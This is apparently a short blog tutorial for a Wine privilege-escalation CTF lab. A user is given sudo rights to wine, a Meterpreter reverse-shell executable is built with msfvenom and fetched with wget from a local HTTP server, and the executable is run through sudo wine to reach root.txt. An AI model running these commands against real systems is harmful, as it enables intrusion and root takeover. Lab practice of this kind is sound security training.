How to setup wine Privilege Escalation Lab For CTF
What is wine in Linux ?
Linux – Wine In Linux.
Wine enables you to run Windows applications on a box. It’s just a Windows emulator on top of Linux. Wine works on Linux, Unix, and other Linux system hence you can smoothly run Windows applications on these systems.
Linux – Wine Privilege Escalation.
Now first Setup our lab I am using ubuntu server 19.0 I am adding user Rahul sudoers file Rahul is a normal user
Add our normal user in the sudoers file
1 |
sudo visudo |
After adding our user check sudoer file
1 |
sudo -l |
Linux – Creating Payload.
Now exploit our target msfvenom payload I am creating a simple windows meterpreter shell
1 |
msfvenom -p windows/meterpreter/reverse_tcp lhost=<add- attacker-ip-address lport=<any-port-use> f exe> hackNos.exe |
After Creating our payload upload the payload target machine Now I am starting our local Python server
1 |
python -m SimpleHTTPServer 99 |
Download our payload target machine with wget command /tmp directory
1 |
cd /tmp |
1 |
wget http://192.168.1.50:99/hackNos.exe |
After Download our payload Start our metasploit listener
1 |
msfconsole |
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost <your local host IP > set lport <our payload port> run
execute our payload target machine
1 |
sudo /usr/bin/wine <our-payload-name> |
I got a reverse connection target machine
Find our Root Flag target machine
1 |
cd /root |
1 |
ls |
1 |
cat root.txt |
gdb debugger privilege escalation here try ctfplay
If you have any kind of problem in this whole process, then you can ask me by commenting.
Thanks to all of you guys for reading my blog.